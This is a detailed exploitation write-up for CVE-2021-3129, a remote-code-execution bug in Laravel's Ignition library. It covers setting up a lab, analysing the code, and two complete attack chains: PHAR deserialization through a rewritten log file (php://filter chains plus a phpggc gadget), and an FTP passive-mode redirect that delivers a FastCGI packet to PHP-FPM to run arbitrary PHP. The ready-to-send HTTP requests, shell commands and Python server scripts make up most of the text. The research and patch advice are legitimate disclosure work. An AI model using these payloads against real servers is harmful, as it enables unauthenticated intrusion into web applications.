The Ignition library is used to customize error messages (e.g. during the development and debugging). It’s present in Laravel, as well as in some other projects, out of the box.
The vulnerability originates from incorrect processing of POST request parameters. As a result, the attacker can send arbitrary data as arguments to the file_get_contents
and file_put_contents
functions. A specially crafted chain of such requests allows to execute arbitrary code on the target system.
info
The bug was discovered by Charles Fol of Ambionics Security. Its identifier is CVE-2021-3129. The vulnerability was recognized critical since its exploitation doesn’t require authentication. The bug affects Ignition versions up to and including 2.5.2.
Test system
I will use a Docker container based on Debian 10 as a test system.
docker pull debiandocker run -ti --name="laravelrce" -p8080:80 debian /bin/bash
Installing required packages. I am going to use nginx web server.
apt updateapt install -y nano curl unzip nginx php-fpm php-common php-mbstring php-xmlrpc php-soap php-gd php-xml php-mysql php-cli php-zip php-curl php-pear php-dev python xxd libfcgi
Next, I install Composer.
curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer
Using it, I create a project based on the Laravel framework. For convenience purposes, the files will be located in the /
folder.
cd /var/www && rm -rf html && composer create-project laravel/laravel . "v8.4.2" && sed -i -E 's|"facade/ignition": ".+?"|"facade/ignition": "2.5.1"|g' composer.json && composer update && mv public html
I edit nginx config files to enable the processing of PHP scripts and configure the redirect required for Laravel.
sed -i -E 's|index index|index index.php index|g' /etc/nginx/sites-enabled/defaultsed -i -E 's|try_files \$uri.*|try_files \$uri \$uri/ /index.php?\$query_string;|g' /etc/nginx/sites-enabled/defaultsed -i -E 's|#location ~ \\\.php\$ \{|location ~ \\.php\$ {\n\t\tinclude snippets/fastcgi-php.conf;\n\t\tfastcgi_pass 127.0.0.1:9000;\n\t}|g' /etc/nginx/sites-enabled/default
Tweaking the PHP-FPM daemon so that it uses TCP and runs on port 9000.
sed -i -E 's|listen = .*|listen = 127.0.0.1:9000|g' /etc/php/7.3/fpm/pool.d/www.conf
To examine the operation of the Ignition library in detail, I need a simple controller. Therefore, I add the test
route.
/var/www/routes/web.php
19: Route::get('/test', function () {20: return view('test');21: });
Now I have to create a view for this route. Laravel uses the Blade template engine to describe views.
/www/resources/views/test.blade.php
<!DOCTYPE html><html> <body> Hello, {{ $name }}.
</body></html>
where $name
is the variable that must be passed to view
.
Finally, I download the framework source code. It can be obtained directly from the Docker container.
docker cp laravelrce:/var/www ./
The test system is ready.
Vulnerability details
First, I check whether Ignition is enabled. I can send a request the specific route doesn’t have a handler for. For instance, send DELETE
to index.
.
The following request is more suitable for the examined vulnerability:
http://laravelrce.vh:8080/_ignition/execute-solution
If you see a nice picture with an error message (like the one shown in the screenshot), then everything is going according to the plan. In addition to custom error pages, Ignition allows to create so-called ‘solutions’. These are small code fragments that help to solve problems encountered by developers. Take, for instance, the above-mentioned test
route. In the template, I use the $name
variable, but don’t pass it; accordingly, Laravel returns an error.
Note the button “Make variable optional”. If you press it, the following request will be sent to the server:
POST /_ignition/execute-solution HTTP/1.1Host: laravelrce.vh:8080Accept: application/jsonContent-Type: application/json{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"name","viewFile":"/var/www/resources/views/test.blade.php"}}
The solution
parameter specifies the class to be executed. Too bad, you cannot specify an arbitrary class since Ignition requires the called class to implement the RunnableSolution
interface.
/vendor/facade/ignition/src/SolutionProviders/SolutionProviderRepository.php
83: public function getSolutionForClass(string $solutionClass): ?Solution84: {85: if (! class_exists($solutionClass)) {86: return null;87: }88:89: if (! in_array(Solution::class, class_implements($solutionClass))) {90: return null;91: }92:93: return app($solutionClass);94: }
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
8: class MakeViewVariableOptionalSolution implements RunnableSolution
Let’s examine the MakeViewVariableOptionalSolution
code to find out how it works. First, the makeOptional
method is called.
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
65: public function run(array $parameters = [])66: {67: $output = $this->makeOptional($parameters);
It reads a file the path to which was passed in the viewFile
parameter.
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
73: public function makeOptional(array $parameters = [])74: {75: $originalContents = file_get_contents($parameters['viewFile']);
Then the variable passed in variableName
changes its format from $name
to $name
.
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
76: $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
Then the template verification is performed. The program wants to make sure that the code structure hasn’t changed more than it’s supposed to.
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
78: $originalTokens = token_get_all(Blade::compileString($originalContents));79: $newTokens = token_get_all(Blade::compileString($newContents));80:81: $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);82:83: if ($expectedTokens !== $newTokens) {84: return false;85: }
It something goes wrong, then makeOptional
will return false; otherwise (i.e. if everything went smoothly), the template content will be overwritten.
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
73: public function makeOptional(array $parameters = [])74: {...87: return $newContents;88: }
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
65: public function run(array $parameters = [])66: {...68: if ($output !== false) {69: file_put_contents($parameters['viewFile'], $output);70: }
In other words, simple file reading and writing operations are performed.
75: $originalContents = file_get_contents($parameters['viewFile']);69: file_put_contents($parameters['viewFile'], $output);
To manipulate the full path to the file, all I have to do is modify it in the request. But what would it give to me?
The first thing that comes to my mind is an exploitation technique based on PHAR deserialization. But to use it, I must be able to load a file with arbitrary content and know the path to this file in the system.
If you really can fulfil these two conditions, you won’t have any problems with RCE. However, it’s not that interesting; so, let’s see what can be done with the default Laravel configuration.
First of all, I will need PHP wrappers; to be specific, php://filter. Using a combination of built-in filters, I can manipulate the file content before it’s used. So, I create a test file.
echo Hello | base64 | base64 > /tmp/test.filecat /tmp/test.fileU0dWc2JHOEsK
Then I write a PHP script that performs file read and write operations similar to those used in Ignition.
/tmp/test.php
<?php$file = 'php://filter/convert.base64-decode/resource=/tmp/test.file';// Read local file; prior to this, the base64-decode filter is applied to its contents$contents = file_get_contents($file);// Display the contentsvar_dump($contents);// Write the contents to the same local file after applying to it the same base64-decode functionfile_put_contents($file, $contents);
The $file
variable is similar to viewFile
and contains the path string. This parameter can be manipulated.
Each string is followed by a comment explaining what happens after its execution. In the end, the file content will be Hello
.
This is how the file content can be changed simply by manipulating the path to it. The only problem is that the base64-decode
filter is applied twice. To solve it, the constructs calling the wrapper must be altered.
echo Hello | base64 > /tmp/test.filecat /tmp/test.fileSGVsbG8K
/tmp/test-onetime.php
<?php$file = 'php://filter/read=convert.base64-decode/resource=/tmp/test.file';// Read local file; prior to this, the base64-decode filter is applied to its contents$contents = file_get_contents($file);// Display the contentsvar_dump($contents);// Write the contents to the same local file; this time, base64-decode isn't applied to the contents for the second timefile_put_contents($file, $contents);
Clearing the log file
Now let’s get back to the earlier idea: execute arbitrary code via PHAR deserialization. As said above, in the ideal variant, you can upload arbitrary files, and you know the path to them. My test system doesn’t offer such a luxury, but there is one file whose name and path are quite predictable: the log file of the Laravel framework. By default, it’s located in the storage/
directory. The file contains error messages, like the ones displayed in the Ignition browser.
Let’s see what information is written to the log when a nonexistent path passed in a solution parameter is processed
POST /_ignition/execute-solution HTTP/1.1Host: laravelrce.vh:8080Accept: application/jsonContent-Type: application/json{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"name","viewFile":"THIS_FILE_DOESNT_EXISTS"}}
So, it turns out that I can control part of the log contents by manipulating the viewFile
variable. Researcher Charles Fol found a way to transform the log file into a fully functional PHAR archive with the desired contents using manipulations with a set of filters and a chain of requests.
So, I get back to the base64-decode
filter. Let’s see how it works with characters that are not included in the Base64 encoding alphabet.
echo Hello | base64 -w0 | cat <(echo -n ':;.-|') - <(echo '|-.;:') > /tmp/test.file
As you can see, such characters are simply ignored, and only the correct Base64 string is decoded. But if the program encounters an incorrect string, a warning is displayed and an empty string is returned. An easy way to invalidate a dataset is to add the alignment suffix (=
) in the middle.
In theory, this trick could be used to clear the contents of any file, but there is a slight problem: the exception handlers in the framework. When a filter returns a warning, Laravel intercepts it, writes the trace to the log file, and stops executing the script.
Therefore, I have to find a filter that neither returns an error, nor returns content, but still accesses the required file. So, I check what filters are available in the current PHP version.
php -r "print_r(stream_get_filters());"
Note the consumed
filter: you won’t find its description in the documentation. Therefore, let’s take a closer look at its source code.
/ext/standard/filters.c
1626: /* {{{ consumed filter implementation */1627: typedef struct _php_consumed_filter_data {1628: size_t consumed;1629: zend_off_t offset;1630: uint8_t persistent;1631: } php_consumed_filter_data;...1633: static php_stream_filter_status_t consumed_filter_filter(...1649: while ((bucket = buckets_in->head) != NULL) {1650: php_stream_bucket_unlink(bucket);1651: consumed += bucket->buflen;1652: php_stream_bucket_append(buckets_out, bucket);1653: }
This undocumented filter does exactly what I need. So, I apply it and view the result.
POST /_ignition/execute-solution HTTP/1.1Host: laravelrce.vh:8080Accept: application/jsonContent-Type: application/json{ "solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters":{ "variableName":"name", "viewFile":"php://filter/read=consumed/resource=../storage/logs/laravel.log" }}
Now that I can clear the file, time to find out how a PHAR archive can be created.
Controlling the log file
To examine the structure of the log file, I send a request that reads a nonexistent file
POST /_ignition/execute-solution HTTP/1.1Host: laravelrce.vh:8080Accept: application/jsonContent-Type: application/json{ "solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters":{ "variableName":"name", "viewFile":"THIS_IS_SOME_STRING" }}
storage/logs/laravel.log
[2021-04-25 14:25:19] local.ERROR: file_get_contents(THIS_IS_SOME_STRING): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(THIS_IS_SOME_STRING): failed to open stream: No such file or directory at /var/www/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
Generally speaking, the first string of each such record has the following format:
[date][error_data]<filename>[error_data]<filename>[error_data]
This brings me to the next problem: how to discard all unnecessary data and leave only the part that can be manipulated? Fortunately, PHP has many conversion filters for various encodings. All of them have the prefix convert.iconv.*.
I use the one of the features of the UTF-16 encoding, namely UTF-16LE (without the byte order mark). It encodes characters in two-byte words. Standard ASCII characters have the same format, except that the \
byte that is added to them.
echo -n Hello | iconv -f ascii -t utf16le | xxd> 00000000: 4800 6500 6c00 6c00 6f00 H.e.l.l.o.
Now I am going to create a file, and a part of it will contain a string encoded in UTF-16LE (i.e. my payload).
function teststring { echo -n Hello | iconv -f ascii -t utf16le; }teststring | sed 's/.*/[date][error_data]\0[error_data]\0[error_data]/' > test.file
Then I use the convert.
filter that converts the contents of my test file into UTF-8.
test-utf16utf8.php
<?php$file = 'php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.file';$contents = file_get_contents($file);var_dump($contents);file_put_contents($file, $contents);
As you can see, only the two payloads remain readable. I don’t need both of them, and since UTF-16 operates with two bytes, I can shift the alignment of the second payload by adding an extra byte at the end.
echo -n Hello | iconv -f ascii -t utf16le | cat - <(echo -n F) | xxd> 00000000: 4800 6500 6c00 6c00 6f00 46 H.e.l.l.o.Ffunction teststring { echo -n Hello | iconv -f ascii -t utf16le | cat - <(echo -n F); }teststring | sed 's/.*/[date][error_data]\0[error_data]\0[error_data]/' > test.file
Success! The pairs of bytes processed by the converter after the first payload have been shifted, and I got the required string.
Now I am going to use the base64-decode
filter: it will discard all invalid characters and try to decode only the payload, which is exactly what I need.
Too bad, there is another problem there. The payload will be passed to the file_get_contents
function as a file name; accordingly, it won’t be possible to use null bytes required to present the text in the UTF-16 format.
Again, I use filters to circumvent this restriction. Filters.covert.quoted-printable enables me to use null bytes by presenting them as =00
.
function teststring { echo -n Hello | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g' | cat - <(echo -n F); }teststring | sed 's/.*/[date][error_data]\0[error_data]\0[error_data]/' > test.filephp -r 'var_dump(file_get_contents("php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=test.file"));'
At this stage, almost everything is ready for exploitation, but there might be yet another problem. The reason is in the same UTF-16 feature: the character size must be two bytes. If the total log size is odd, then the convert.
filter will return a warning.
As said above, Laravel processes all exceptions and stops executing the script. Therefore, for alignment purposes, you can add one more record to the log file using the same request and specify a string of the required size as the file name in viewFile
.
POST /_ignition/execute-solution HTTP/1.1Host: laravelrce.vh:8080Accept: application/jsonContent-Type: application/json{ "solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters":{ "variableName":"name", "viewFile":"AA" }}
Exploitation via PHAR archive
Time to assemble a workable exploit. I am going to generate my payload with phpggc. This tool generates gadget chains for PHP deserialization attacks. Importantly, it can write the result as a PHAR archive.
Monolog/
will be used as a gadget; a suitable version of this package is present in the default Laravel version.
php -d'phar.readonly=0' phpggc --phar phar -o exploit.phar --fast-destruct monolog/rce1 system id
The fast-destruct
flag allows to display the command output right away. Converting the resultant archive into a payload:
cat exploit.phar | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g' | cat - <(echo -n F);
Time has come for exploitation.
First, I clear the log file.
POST /_ignition/execute-solution HTTP/1.1Host: laravelrce.vh:8080Accept: application/jsonContent-Type: application/json{ "solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters":{ "variableName":"name", "viewFile":"php://filter/read=consumed/resource=../storage/logs/laravel.log" }}
If necessary, I send a request to make the size of the resultant file correct (i.e. even). In my case, two AA
bytes were sufficient.
POST /_ignition/execute-solution HTTP/1.1Host: laravelrce.vh:8080Accept: application/jsonContent-Type: application/json{ "solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters":{ "variableName":"name", "viewFile":"AA" }}
Now I’m supposed to deal with the payload, but there is another problem. The trace that is written to the log file can be different, and this can ruin the exploitation. This happens because one of the stack elements displays the executed function whose argument has been truncated to the first N bytes.
On my test system, N = 15 bytes (P=00D=009=00w=0
). The filter processing such a construct will return an invalid
exception, and you know how Laravel deals with exceptions…
To avoid this error, I can add the required number of characters that will be discarded by the Base64 decoder and not accepted by the quoted-printable-decode
filter. I use the minus sign and add 16 (it’s better to use even numbers!) such characters at the beginning of the payload.
POST /_ignition/execute-solution HTTP/1.1Host: laravelrce.vh:8080Accept: text/htmlContent-Type: application/json{ "solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters":{ "variableName":"name", "viewFile":"----------------P=00D=009=00w=00a=00H=00A=00...T=00U=00I=00F" }}
The next step is to convert the log file into a valid PHAR archive. I send a request with a familiar set of filters.
POST /_ignition/execute-solution HTTP/1.1Host: laravelrce.vh:8080Accept: application/jsonContent-Type: application/json{ "solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters":{ "variableName":"name", "viewFile":"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log" }}
If the server returns an empty answer with code 200, then everything is going fine.
And the final step: to execute the generated payload, I address the log as a PHAR archive.
The response displays the output of the id
command.
The above exploitation technique is good, although it has some drawbacks. For instance, you must know the path to the log or any other file available for writing in the system. But what if you don’t?
Exploitation via FTP => PHP-FPM
If the first exploitation variant is impossible or failed, there is another option.
First of all, it’s necessary to examine some features of the FTP protocol. It can run in the active or passive mode, which determines the connection method. In the active mode, the client creates a connection to the server and sends its IP address and an arbitrary port number (the one to be used for connection) to the server. In the passive mode, the client sends a PASV
command, receives an IP address and port number from the server, and uses them for connection. The point is that you can use any values, and the IP address can be 127.0.0.1. This is how you can connect to services available only from the internal infrastructure.
My test environment includes the PHP-FPM daemon that listens to port 9000.
It uses the FastCGI protocol and can be accessed directly using specially generated packets. There are plenty of utilities created for this purpose, for instance, cgi-fcgi from the libfcgi library.
PAYLOAD="<?php system('id');"FILENAME="/var/www/html/index.php"B64=$(echo "$PAYLOAD"|base64)env -i \PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \SCRIPT_FILENAME=$FILENAME SCRIPT_NAME=$FILENAME REQUEST_METHOD=POST \cgi-fcgi -bind -connect 127.0.0.1:9000 | head
FILENAME
is the absolute path to an existing script. In fact, you don’t have to know it; the point is that the extension must be .
. What is really important is the PHP_VALUE
environment variable, namely the auto_prepend_file
option. This directive overrides another directive of the same name in the PHP configuration file. All subsequent calls on this worker will use this setting. It specifies the name of the file that is automatically parsed prior to the main file. I use wrappers and directly specify the code (previously encoded in Base64) that I want to execute.
For exploitation, I will need a more universal payload. For testing purposes, php://
will suffice. After the successful exploitation, everything that is passed in the request body will be processed by the PHP interpreter.
Now I need the contents of the packet that will be sent to PHP-FPM to specify the required settings. For this purpose, I use the fpm.py script created by phith0n.
I slightly modify the original script so that it saves the packet into the file exploit.
.
fcgi_packet_generator.py
187: with open("exploit.bin", "wb") as flr:188: flr.write(request)189: # self.sock.send(request)190: # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND191: # self.requests[requestId]['response'] = b''192: # return self.__waitForResponse(requestId)193: return True...253: 'PHP_VALUE': 'auto_prepend_file = php://input',
The algorithm is as follows:
- I send a request that addresses my FTP server; to do this, I simply use the
ftp://
scheme.IP: PORT/ filename. ext - The server address is passed to the
file_get_contents
function, and the connection is established. - My FTP server receives a connection with a request for a file and responds that it can pass it in the passive mode. To do this, I have to connect to a specific host and port.
- On this port, I am waiting for a connection to pass the file containing the payload (exploit.bin) to the server.
-
At this point, the execution of the
file_get_contents
function is completed, and the$originalContents
variable now contains my payload./vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
73: public function makeOptional(array $parameters = [])74: {75: $originalContents = file_get_contents($parameters['viewFile']); Then the
file_put_contents
function comes into play. It reconnects to the same FTP server – but this time, to write the file.My server enters the passive mode and responds to the client that it must connect to host 127.0.0.1 and port 9000 (i.e. to the PHP-FPM daemon) in order to transmit the content that has to be written to the file.
The client connects and sends the contents of
exploit.
that contains the correct FastCGI packet. This is how the payload is delivered to the right place.bin
Now I have to implement this algorithm in practice. I use the fake_ftp.py script created by Ivan @dfyz Komarov as an FTP server and add to it the processing of additional commands and two sequential connections.
info
This script was written as a writeup for the resonator
task at hxp CTF 2020.
fake_ftp.py
LOCAL_PORT = 9000LOCAL_PORT_1 = 65123HOST_FPM = '127,0,0,1'HOST_VALID = '192.168.99.1'HOST_VALID_FTP = '192,168,99,1'... elif cmd == b'PASV': if first == True: self._send(f'227 Entering passive mode ({HOST_VALID_FTP},{LOCAL_PORT_1 // 256},{LOCAL_PORT_1 % 256})'.encode()) else: self._send(f'227 go to ({HOST_FPM},{LOCAL_PORT // 256},{LOCAL_PORT % 256})'.encode())
Note the format used to transmit the host and port in order to manage the client connections. The port number is calculated using the formula {(
; therefore, I have to perform the reverse operation in the code.
When the client connects to port 65123 for the first time, I have to transmit the file containing the payload. To do this, I use a simple Python script that uses the socket library.
serve_file_pasv.py
import socketimport sysLOCAL_PORT_1 = 65123HOST_VALID = '192.168.99.1'FILE = 'exploit.bin'fi=open(FILE,'rb')with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((HOST_VALID, LOCAL_PORT_1)) print('Serve {} at {}:{}'.format(FILE, HOST_VALID, LOCAL_PORT_1)) sys.stdout.flush() s.listen() conn, addr = s.accept() with conn: print('Connected by', addr) data = fi.read(1024) while data: conn.send(data) data=fi.read(1024) fi.close() print('Serve finished.')
The chain is ready. It must be executed in the right sequence: first of all, I generate a packet file containing the payload.
python3 fcgi_packet_generator.py -p 9000 127.0.0.1 /tmp/any.php
Then I execute the script that will pass it to the client.
python3 serve_file_pasv.py
Then I launch the FTP server that will manage the connections and direct them as required.
python3 fake_ftp.py
Next, I send a connection request to this FTP server.
POST /_ignition/execute-solution HTTP/1.1Host: laravelrce.vh:8080Accept: application/jsonContent-Type: application/json{ "solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters":{ "variableName":"name", "viewFile":"ftp://192.168.99.1/test.txt" }}
The server sends a response with code 200, which means that the chain has been executed properly.
Now I can execute arbitrary PHP code by simply sending it in the request body.
POST /_ignition/execute-solution HTTP/1.1Host: laravelrce.vh:8080Accept: application/jsonContent-Type: application/json<?phpsystem('id');
The complete source code for all exploit components can be found in my repository on GitHub.
Of course, such attacks over FTP make it possible to exploit not only PHP-FPM, but any services accessible from a vulnerable machine, including memcache and Redis. Overall, the exploitation over FTP is a very actual and interesting topic. I strongly recommend reviewing a presentation on that subject made by my colleague Bo0oM.
Conclusions
In this article, I examined two interesting exploitation variants (that actually resemble CTF tasks) for the same vulnerability. Generally speaking, if an app is created on the basis of a set of libraries, it can compromise the security of major projects, including Laravel. On the other hand, this approach enables the developers to quickly update or completely remove untrusted libraries that contain dangerous bugs.
The developers have promptly fixed this vulnerability in Ignition v. 2.5.2; so, update your system ASAP, and let Composer be with you.
/var/www/composer.json
..."require-dev": { "facade/ignition": "^2.5",...
composer update
By default, all new Laravel versions use the updated library version.
Wonderful article, help me finding the vulnerability in my project and prevent the exploit. Thanks a lot. The images aren’t loading in your article. Please update it.